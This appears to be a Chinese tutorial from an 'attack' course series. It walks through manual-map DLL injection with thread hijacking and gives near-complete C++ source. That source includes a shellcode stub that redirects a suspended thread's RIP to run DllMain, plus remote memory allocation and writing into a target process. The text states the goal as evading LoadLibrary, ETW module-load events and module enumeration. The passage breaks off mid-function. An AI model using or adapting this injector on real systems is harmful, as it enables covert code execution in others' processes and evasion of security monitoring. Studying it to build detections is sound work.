不创建线程如何执行代码?线程劫持触发DllMain的完整实现
阅读时间: 8-10 分钟
前置知识: 理解内存映射文件检测原理、C/C++基础、Windows API基础
学习目标: 掌握PE文件结构解析,实现修复导入表丶重定位表
配套视频教程
本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:
💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!
视频链接: https://www.bilibili.com/video/BV1qK6QBrEqH/
承接上节
回顾:手工映射分为三期讲解:
- 上篇:PE结构基础 + 内存镜像构建 ✅
- 中篇:基址重定位 + 导入表修复 ✅
- 下篇(本期):远程写入 + 线程劫持触发DllMain
前两节课,我们在本地完成了内存镜像的准备工作:
- ✅ 读取PE文件并验证签名
- ✅ 构建内存镜像(文件布局 → 内存布局)
- ✅ 处理基址重定位
- ✅ 修复导入地址表(IAT)
现在的问题:内存镜像准备好了,但还在我们自己的进程里,需要写入目标进程并触发 DllMain!
DLL的初始化代码(如申请资源、创建线程、Hook函数)都在 DllMain 中。不调用它,DLL就是死的。
如何触发 DllMain
回顾之前讲过的执行方式
在之前的课程中,我们学过几种让目标进程执行代码的方法:
|
方式 497_55e48a-d9> |
课程 497_f5756e-b9> |
原理 497_2932e1-8f> |
|---|---|---|
|
|
基础注入 497_60d3f5-cb> |
创建新线程执行代码 497_07c9fb-3a> |
|
APC 注入 497_b6fa35-36> |
04-攻击篇 497_118dd9-19> |
将代码加入 APC 队列,等待线程进入 Alertable 状态时执行 497_b22aac-62> |
|
线程劫持 497_3f54b0-2b> |
02-攻击篇 497_e489bb-5a> |
修改现有线程的 RIP,让它执行我们的代码 497_5a09a1-56> |
本节课我们选择线程劫持.
核心原理
线程劫持回顾
注意:线程劫持的原理我们在 02-攻击篇-绕过线程起始地址检测 中已经详细讲过。没看过的同学建议先去看那节课。
简单回顾:通过 SuspendThread → GetThreadContext → SetThreadContext → ResumeThread 修改线程的 RIP 寄存器,让线程执行我们的代码。
本节的重点是:如何设计一个 stub,让它调用 DllMain 后能安全返回原来的执行位置。
Shellcode stub 设计
stub是一小段机器码,功能是:
- 保存当前寄存器状态
- 准备DllMain参数
- 调用DllMain
- 恢复寄存器状态
- 跳回原来的RIP
x64调用约定:
|
参数顺序 497_710846-1d> |
寄存器 497_427480-6b> |
DllMain参数 497_7bdd5b-8d> |
|---|---|---|
|
第1个参数 497_c94945-76> |
RCX 497_a9d83f-9a> |
hModule(DLL基址) 497_63eff0-c3> |
|
第2个参数 497_20396b-72> |
RDX 497_1e7443-d0> |
dwReason(DLL_PROCESS_ATTACH=1) 497_3d2408-98> |
|
第3个参数 497_ad3d06-7e> |
R8 497_89b22e-fe> |
lpReserved(NULL) 497_46e937-88> |
完整stub(84字节):
BYTE stubTemplate[] = {
// ========== 保存易失寄存器 ==========
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28 (分配栈空间+对齐)
0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp+18h], rax
0x48, 0x89, 0x4C, 0x24, 0x10, // mov [rsp+10h], rcx
0x48, 0x89, 0x54, 0x24, 0x08, // mov [rsp+08h], rdx
// ========== 准备DllMain参数 ==========
// 从参数结构体读取3个参数
0x49, 0xB9, // mov r9, <pRemoteParams>
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // [+21] 参数结构体地址
0x49, 0x8B, 0x09, // mov rcx, [r9] ← hModule
0x49, 0x8B, 0x51, 0x08, // mov rdx, [r9+8] ← dwReason
0x4D, 0x8B, 0x41, 0x10, // mov r8, [r9+16] ← lpReserved
// ========== 调用DllMain ==========
0x48, 0xB8, // mov rax, <DllMain>
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // [+42] DllMain地址
0xFF, 0xD0, // call rax
// ========== 恢复易失寄存器 ==========
0x48, 0x8B, 0x54, 0x24, 0x08, // mov rdx, [rsp+08h]
0x48, 0x8B, 0x4C, 0x24, 0x10, // mov rcx, [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, // mov rax, [rsp+18h]
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
// ========== 跳回原RIP ==========
0x49, 0xBB, // mov r11, <originalRIP>
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // [+73] 原始RIP
0x41, 0xFF, 0xE3 // jmp r11
};stub中需要填充的3个地址:
|
偏移 497_e2c3d2-76> |
内容 497_3a6c9f-e7> |
说明 497_059388-af> |
|---|---|---|
|
+21 497_f2091a-2e> |
pRemoteParams 497_f90f0b-ae> |
参数结构体在目标进程的地址 497_cff2a5-83> |
|
+42 497_a2a6ad-a8> |
pRemoteEntryPoint 497_454923-a8> |
DllMain在目标进程的地址 497_fab4f5-17> |
|
+73 497_ab8500-0e> |
originalRIP 497_20e566-40> |
原始线程RIP,执行完跳回 497_c16780-1b> |
DllMainParams结构体
/**
* @brief DllMain参数结构体
* @details 这个结构体会被写入目标进程,stub通过它传递参数
*/
struct DllMainParams
{
LPVOID hModule; // DLL基址(第1个参数)
DWORD dwReason; // 调用原因(第2个参数)
LPVOID lpReserved; // 保留参数(第3个参数)
};动手实现
手工映射注入共 12 步,下面是 InjectDllWithManualMapping 函数的完整实现。前 7 步在上两节课已讲过原理,这里直接看代码。
第1步:打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess)
{
return FALSE;
}第2步:读取PE文件
DWORD fileSize = 0;
LPVOID pFileImage = ReadPEFile(dllPath, &fileSize);
if (!pFileImage)
{
CloseHandle(hProcess);
return FALSE;
}
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileImage + pDosHeader->e_lfanew);第3步:检查体系结构
BOOL isWow64 = FALSE;
IsWow64Process(hProcess, &isWow64);
if ((pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 && isWow64) ||
(pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 && !isWow64))
{
// DLL体系结构与目标进程不匹配
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}第4步:构建内存镜像
DWORD imageSize = 0;
LPVOID pMemoryImage = BuildMemoryImage(pFileImage, &imageSize);
if (!pMemoryImage)
{
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}第5步:分配远程内存
LPVOID pRemoteImage = VirtualAllocEx(hProcess, NULL, imageSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteImage)
{
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}第6步:修复导入表
if (!FixImportTable(pMemoryImage, pRemoteImage, dwProcessId))
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}第7步:处理重定位
if (!ProcessRelocation(pMemoryImage, pRemoteImage))
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}第8步:写入内存镜像
if (!WriteProcessMemory(hProcess, pRemoteImage, pMemoryImage, imageSize, NULL))
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}第9步:设置节区保护(可选)
SetSectionProtections(hProcess, pRemoteImage, pMemoryImage);这一步不是必需的,因为第5步已经用了
PAGE_EXECUTE_READWRITE。但设置正确的节区保护可以提高隐蔽性。
第10步:准备stub
// 获取DLL入口点
pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
DWORD entryPointRVA = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
LPVOID pRemoteEntryPoint = (BYTE*)pRemoteImage + entryPointRVA;
// 分配stub内存
LPVOID pRemoteStub = VirtualAllocEx(hProcess, NULL, sizeof(stubTemplate),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);第11步:劫持线程执行
// 准备DllMain参数
DllMainParams params;
params.hModule = pRemoteImage;
params.dwReason = DLL_PROCESS_ATTACH;
params.lpReserved = NULL;
LPVOID pRemoteParams = VirtualAllocEx(hProcess, NULL, sizeof(DllMainParams),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, pRemoteParams, ¶ms, sizeof(DllMainParams), NULL);
// 枚举并劫持线程
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
if (Thread32First(hSnapshot, &te32))
{
do
{
if (te32.th32OwnerProcessID == dwProcessId)
{
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE, te32.th32ThreadID);
if (hThread)
{
SuspendThread(hThread);
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
// 保存原始RIP,填充stub
ULONGLONG originalRIP = ctx.Rip;
BYTE stub[sizeof(stubTemplate)];
memcpy(stub, stubTemplate, sizeof(stubTemplate));
*(ULONGLONG*)(stub + 21) = (ULONGLONG)pRemoteParams;
*(ULONGLONG*)(stub + 42) = (ULONGLONG)pRemoteEntryPoint;
*(ULONGLONG*)(stub + 73) = originalRIP;
// 写入stub,修改RIP,恢复线程
WriteProcessMemory(hProcess, pRemoteStub, stub, sizeof(stub), NULL);
ctx.Rip = (ULONGLONG)pRemoteStub;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
CloseHandle(hThread);
break; // 只劫持一个线程
}
}
} while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);第12步:完成注入
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;完整代码
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <iostream>
#include <vector>
/**
* @file 09-攻击篇-手工映射注入.cpp
* @brief 手工映射注入 - 完全绕过LoadLibrary和PEB注册
* @author Mengxin
* @date 2025-01-24
*
* @details
* 核心思路:
* 1. 手工解析PE文件(磁盘布局 → 内存布局转换)
* 2. 构建本地内存镜像(按SizeOfImage分配,处理RVA转换)
* 3. 修复导入表(IAT),手工查找并填充依赖函数地址
* 4. 处理基址重定位,修正代码中的绝对地址引用
* 5. 一次性写入完整内存镜像到目标进程
* 6. 使用Shellcode stub调用DLL入口点(DllMain)
*
* 绕过原理:
* - 不调用LoadLibrary → 不触发模块加载事件,ETW监控失效
* - 不注册到PEB模块链表 → EnumProcessModules无法枚举
* - 完全手工控制加载过程 → 实现最大隐蔽性
*
* 【关键技术点】本代码正确实现了:
* 1. RVA → 文件偏移转换(解决VirtualAddress ≠ PointerToRawData问题)
* 2. 本地内存镜像构建(SizeOfImage大小,避免缓冲区越界)
* 3. 远程地址解析(ASLR环境下的IAT修复)
* 4. Shellcode stub参数传递(x64调用约定)
* 5. 节区保护设置(.text=RX, .data=RW)
*
* 局限性:
* - 不支持TLS回调(可扩展)
* - 不支持延迟加载导入(可扩展)
* - 依赖系统DLL基址相同(教学简化,生产环境需远程查找)
*
* 【教学说明】这是本系列课程技术难度最高的攻击技术(★★★★★)
* 完整实现了PE加载器的核心功能,学习前建议先掌握PE格式基础
*
* 仅供防御性安全研究与教学使用,严禁用于恶意目的
*/
// ========== 数据结构定义 ==========
/**
* @brief DllMain参数结构体(用于stub传参)
* @details 这个结构体会被写入目标进程,stub通过它传递DllMain的3个参数
*/
struct DllMainParams
{
LPVOID hModule; // DLL基址
DWORD dwReason; // 调用原因(DLL_PROCESS_ATTACH等)
LPVOID lpReserved; // 保留参数(通常为NULL)
};
// ========== 辅助函数声明 ==========
LPVOID ReadPEFile(const char* filePath, DWORD* pFileSize);
LPVOID BuildMemoryImage(LPVOID pFileBase, DWORD* pImageSize);
HMODULE GetRemoteModuleHandle(DWORD dwProcessId, const char* moduleName);
BOOL FixImportTable(LPVOID pMemoryImage, LPVOID pRemoteBase, DWORD dwProcessId);
BOOL ProcessRelocation(LPVOID pMemoryImage, LPVOID pRemoteBase);
BOOL SetSectionProtections(HANDLE hProcess, LPVOID pRemoteBase, LPVOID pMemoryImage);
// ========== 核心注入函数 ==========
/**
* @brief 手工映射注入DLL到目标进程
* @param dwProcessId 目标进程ID
* @param dllPath DLL文件完整路径
* @return 成功返回TRUE,失败返回FALSE
* @details 完整实现PE手工加载的12个核心步骤,使用提前返回和按需声明提升可读性
*/
BOOL InjectDllWithManualMapping(DWORD dwProcessId, const char* dllPath)
{
std::cout << "\n=== 开始手工映射注入(完整版) ===\n\n";
// 第一步:打开目标进程
std::cout << "[1/12] 打开目标进程...\n";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess)
{
std::cout << " 失败:无法打开进程,错误码: " << GetLastError() << "\n";
return FALSE;
}
std::cout << " 成功:进程句柄 = 0x" << std::hex << hProcess << "\n\n";
// 第二步:读取PE文件(磁盘布局)
std::cout << "[2/12] 读取PE文件(磁盘布局)...\n";
DWORD fileSize = 0;
LPVOID pFileImage = ReadPEFile(dllPath, &fileSize);
if (!pFileImage)
{
std::cout << " 失败:无法读取PE文件\n";
CloseHandle(hProcess);
return FALSE;
}
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileImage;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileImage + pDosHeader->e_lfanew);
std::cout << " 成功:文件大小 = " << std::dec << fileSize << " 字节\n";
std::cout << " 镜像大小 = " << std::dec << pNtHeaders->OptionalHeader.SizeOfImage << " 字节\n";
std::cout << " 节区数量 = " << std::dec << pNtHeaders->FileHeader.NumberOfSections << "\n\n";
// 第三步:检查体系结构匹配
std::cout << "[3/12] 检查体系结构匹配...\n";
BOOL isWow64 = FALSE;
IsWow64Process(hProcess, &isWow64);
if ((pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 && isWow64) ||
(pNtHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_I386 && !isWow64))
{
std::cout << " 失败:DLL体系结构与目标进程不匹配\n";
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << " 成功:体系结构匹配\n\n";
// 第四步:构建本地内存镜像
std::cout << "[4/12] 构建本地内存镜像(文件布局 → 内存布局)...\n";
DWORD imageSize = 0;
LPVOID pMemoryImage = BuildMemoryImage(pFileImage, &imageSize);
if (!pMemoryImage)
{
std::cout << " 失败:无法构建内存镜像\n";
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << " 成功:内存镜像大小 = " << std::dec << imageSize << " 字节\n\n";
// 第五步:在目标进程分配内存
std::cout << "[5/12] 在目标进程分配内存...\n";
LPVOID pRemoteImage = VirtualAllocEx(
hProcess,
NULL,
imageSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!pRemoteImage)
{
std::cout << " 失败:无法分配内存,错误码: " << GetLastError() << "\n";
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << " 成功:远程基址 = 0x" << std::hex << pRemoteImage << "\n\n";
// 第六步:修复导入表(IAT)
std::cout << "[6/12] 修复导入表(IAT)...\n";
if (!FixImportTable(pMemoryImage, pRemoteImage, dwProcessId))
{
std::cout << " 失败:导入表修复失败\n";
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << " 成功:导入表已修复\n\n";
// 第七步:处理基址重定位
std::cout << "[7/12] 处理基址重定位...\n";
if (!ProcessRelocation(pMemoryImage, pRemoteImage))
{
std::cout << " 失败:重定位处理失败\n";
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << " 成功:重定位已处理\n\n";
// 第八步:一次性写入完整内存镜像
std::cout << "[8/12] 写入完整内存镜像到目标进程...\n";
if (!WriteProcessMemory(hProcess, pRemoteImage, pMemoryImage, imageSize, NULL))
{
std::cout << " 失败:无法写入内存镜像,错误码: " << GetLastError() << "\n";
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << " 成功:已写入 " << std::dec << imageSize << " 字节\n\n";
// 第九步:设置节区保护
std::cout << "[9/12] 设置节区保护(.text=RX, .data=RW)...\n";
if (!SetSectionProtections(hProcess, pRemoteImage, pMemoryImage))
{
std::cout << " 警告:节区保护设置失败(继续执行)\n\n";
}
else
{
std::cout << " 成功:节区保护已设置\n\n";
}
// 第十步:获取DLL入口点并准备stub模板
std::cout << "[10/12] 准备DllMain调用stub...\n";
pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pMemoryImage + pDosHeader->e_lfanew);
DWORD entryPointRVA = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
LPVOID pRemoteEntryPoint = (BYTE*)pRemoteImage + entryPointRVA;
// Shellcode模板(84字节): 调用DllMain并跳回原RIP
BYTE stubTemplate[] = {
// 保存易失寄存器
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp+18h], rax
0x48, 0x89, 0x4C, 0x24, 0x10, // mov [rsp+10h], rcx
0x48, 0x89, 0x54, 0x24, 0x08, // mov [rsp+08h], rdx
// 准备DllMain参数(x64调用约定: RCX, RDX, R8)
0x49, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r9, <pRemoteParams>
0x49, 0x8B, 0x09, // mov rcx, [r9]
0x49, 0x8B, 0x51, 0x08, // mov rdx, [r9+8]
0x4D, 0x8B, 0x41, 0x10, // mov r8, [r9+16]
// 调用DllMain
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <DllMain>
0xFF, 0xD0, // call rax
// 恢复易失寄存器
0x48, 0x8B, 0x54, 0x24, 0x08, // mov rdx, [rsp+08h]
0x48, 0x8B, 0x4C, 0x24, 0x10, // mov rcx, [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, // mov rax, [rsp+18h]
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
// 跳回原RIP
0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r11, <originalRIP>
0x41, 0xFF, 0xE3 // jmp r11
};
LPVOID pRemoteStub = VirtualAllocEx(hProcess, NULL, sizeof(stubTemplate), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteStub)
{
std::cout << " 失败:无法分配stub内存,错误码: " << GetLastError() << "\n";
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << " 成功:stub地址 = 0x" << std::hex << pRemoteStub << "\n\n";
// 第十一步:准备DllMain参数并劫持线程执行
std::cout << "[11/12] 劫持线程执行DllMain...\n";
DllMainParams params;
params.hModule = pRemoteImage;
params.dwReason = DLL_PROCESS_ATTACH;
params.lpReserved = NULL;
LPVOID pRemoteParams = VirtualAllocEx(hProcess, NULL, sizeof(DllMainParams), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemoteParams || !WriteProcessMemory(hProcess, pRemoteParams, ¶ms, sizeof(DllMainParams), NULL))
{
std::cout << " 失败:无法准备参数,错误码: " << GetLastError() << "\n";
if (pRemoteParams)
{
VirtualFreeEx(hProcess, pRemoteParams, 0, MEM_RELEASE);
}
VirtualFreeEx(hProcess, pRemoteStub, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << " 失败:无法创建线程快照\n";
VirtualFreeEx(hProcess, pRemoteParams, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteStub, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
THREADENTRY32 te32;
te32.dwSize = sizeof(THREADENTRY32);
int hijackCount = 0;
if (Thread32First(hSnapshot, &te32))
{
do
{
if (te32.th32OwnerProcessID == dwProcessId)
{
HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
if (hThread)
{
if (SuspendThread(hThread) == (DWORD)-1)
{
std::cout << " 暂停线程 " << te32.th32ThreadID << " 失败\n";
CloseHandle(hThread);
continue;
}
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx))
{
std::cout << " 获取线程 " << te32.th32ThreadID << " 上下文失败\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
ULONGLONG originalRIP = ctx.Rip;
BYTE stub[sizeof(stubTemplate)];
memcpy(stub, stubTemplate, sizeof(stubTemplate));
*(ULONGLONG*)(stub + 21) = (ULONGLONG)pRemoteParams;
*(ULONGLONG*)(stub + 42) = (ULONGLONG)pRemoteEntryPoint;
*(ULONGLONG*)(stub + 73) = originalRIP;
if (!WriteProcessMemory(hProcess, pRemoteStub, stub, sizeof(stub), NULL))
{
std::cout << " 写入stub失败\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
ctx.Rip = (ULONGLONG)pRemoteStub;
if (!SetThreadContext(hThread, &ctx))
{
std::cout << " 设置线程 " << te32.th32ThreadID << " 上下文失败\n";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
if (ResumeThread(hThread) == (DWORD)-1)
{
std::cout << " 恢复线程 " << te32.th32ThreadID << " 失败\n";
CloseHandle(hThread);
continue;
}
std::cout << " 成功劫持线程 " << std::dec << te32.th32ThreadID << "\n";
CloseHandle(hThread);
hijackCount = 1;
break;
}
}
} while (Thread32Next(hSnapshot, &te32));
}
CloseHandle(hSnapshot);
if (hijackCount > 0)
{
std::cout << " 成功:线程已劫持并开始执行\n\n";
}
else
{
std::cout << " 警告:未找到可用线程\n\n";
}
// 第十二步:完成注入
std::cout << "[12/12] 注入完成\n";
VirtualFree(pMemoryImage, 0, MEM_RELEASE);
VirtualFree(pFileImage, 0, MEM_RELEASE);
CloseHandle(hProcess);
std::cout << "\n=== 手工映射注入成功 ===\n";
std::cout << "DLL已手工加载到目标进程,完全绕过LoadLibrary\n";
std::cout << "不会出现在EnumProcessModules的枚举结果中\n";
std::cout << "不会触发ETW的模块加载事件\n\n";
std::cout << "【技术特点】\n";
std::cout << "- 执行方式:线程劫持(SetThreadContext)\n";
std::cout << "- 优势:立即执行,无需等待Alertable状态\n";
std::cout << "- 适用场景:游戏等死循环进程\n";
std::cout << "- 隐蔽性:完全手工PE加载,不留模块痕迹\n\n";
return TRUE;
}
// ========== 辅助函数实现 ==========
/**
* @brief 读取PE文件到内存并验证签名
* @param filePath PE文件完整路径
* @param pFileSize 返回文件大小
* @return 成功返回文件缓冲区,失败返回NULL
* @details 读取原始PE文件(磁盘布局),验证DOS和NT签名
*/
LPVOID ReadPEFile(const char* filePath, DWORD* pFileSize)
{
// 打开文件
HANDLE hFile = CreateFileA(filePath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL );
if (hFile == INVALID_HANDLE_VALUE)
{
std::cout << " 失败:无法打开文件,错误码: " << GetLastError() << "\n";
return NULL;
}
// 获取文件大小
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE || fileSize < sizeof(IMAGE_DOS_HEADER))
{
std::cout << " 失败:文件大小无效\n";
CloseHandle(hFile);
return NULL;
}
// 分配内存缓冲区
LPVOID pFileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pFileBuffer)
{
std::cout << " 失败:无法分配本地内存\n";
CloseHandle(hFile);
return NULL;
}
// 读取文件内容
DWORD bytesRead = 0;
if (!ReadFile(hFile, pFileBuffer, fileSize, &bytesRead, NULL) || bytesRead != fileSize)
{
std::cout << " 失败:无法读取文件内容\n";
VirtualFree(pFileBuffer, 0, MEM_RELEASE);
CloseHandle(hFile);
return NULL;
}
CloseHandle(hFile);
// 验证DOS签名
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBuffer;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
std::cout << " 失败:无效的DOS签名(应为'MZ')\n";
VirtualFree(pFileBuffer, 0, MEM_RELEASE);
return NULL;
}
// 检查PE头偏移
if (pDosHeader->e_lfanew > fileSize - sizeof(IMAGE_NT_HEADERS))
{
std::cout << " 失败:无效的PE头偏移\n";
VirtualFree(pFileBuffer, 0, MEM_RELEASE);
return NULL;
}
// 验证NT签名
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileBuffer + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
std::cout << " 失败:无效的NT签名(应为'PE')\n";
VirtualFree(pFileBuffer, 0, MEM_RELEASE);
return NULL;
}
// 返回结果
if (pFileSize)
{
*pFileSize = fileSize;
}
return pFileBuffer;
}
/**
* @brief 构建PE的内存镜像(文件布局 → 内存布局)
*
* 【为什么需要这一步】
* PE文件在磁盘上是紧凑排列(节省空间),在内存中需要按VirtualAddress对齐。
*
* 【类比】
* - 磁盘文件 = 压缩包(紧凑,但不能直接用)
* - 内存镜像 = 解压后的文件夹(占空间,但可以执行)
*
* 【操作步骤】
* 1. 分配SizeOfImage大小内存(不是文件大小!)
* 2. 复制PE头(包含DOS头+NT头+节表)
* 3. 复制每个节到VirtualAddress位置(使用 min(SizeOfRawData, VirtualSize))
* 4. .bss节用0填充(VirtualSize > SizeOfRawData的部分)
*
* 【重要】复制大小计算:
* - 错误做法: if (SizeOfRawData <= VirtualSize) → 会导致.text等节完全不复制
* - 正确做法: copySize = min(SizeOfRawData, VirtualSize)
* - 原因: 文件对齐(0x200)和内存对齐(0x1000)不同
* 例如: .text节 VirtualSize=0x1CC2, SizeOfRawData=0x1E00
* 如果用 <= 判断会跳过,导致代码段全是0!
*
* 【内存布局示意】
* ┌─────────────┐ ← pMemoryImage (基址0x0)
* │ PE头 │ 拷贝SizeOfHeaders字节
* ├─────────────┤ ← +VirtualAddress[0] (例如0x1000)
* │ .text节 │ 拷贝SizeOfRawData字节
* ├─────────────┤ ← +VirtualAddress[1] (例如0x3000)
* │ .data节 │ 拷贝SizeOfRawData字节
* ├─────────────┤
* │ .bss节 │ 用0填充VirtualSize字节(未初始化数据)
* └─────────────┘ ← +SizeOfImage
*
* @param pFileBase PE文件数据(磁盘布局)
* @param pImageSize 返回镜像大小
* @return 内存镜像指针,失败返回NULL
*/
LPVOID BuildMemoryImage(LPVOID pFileBase, DWORD* pImageSize)
{
// 获取PE头信息
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pFileBase + pDosHeader->e_lfanew);
// 分配SizeOfImage大小的内存(不是文件大小!)
// SizeOfImage是PE在内存中展开后的总大小
DWORD imageSize = pNtHeaders->OptionalHeader.SizeOfImage;
LPVOID pMemoryImage = VirtualAlloc(NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pMemoryImage)
{
return NULL;
}
// 先清零整个镜像(处理.bss等未初始化区域)
memset(pMemoryImage, 0, imageSize);
// 复制PE头(DOS头+NT头+节表)
// 这部分在文件和内存中布局相同,直接复制
memcpy(pMemoryImage, pFileBase, pNtHeaders->OptionalHeader.SizeOfHeaders);
std::cout << " 复制PE头: " << std::dec << pNtHeaders->OptionalHeader.SizeOfHeaders << " 字节\n";
// 复制每个节到内存中的正确位置
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
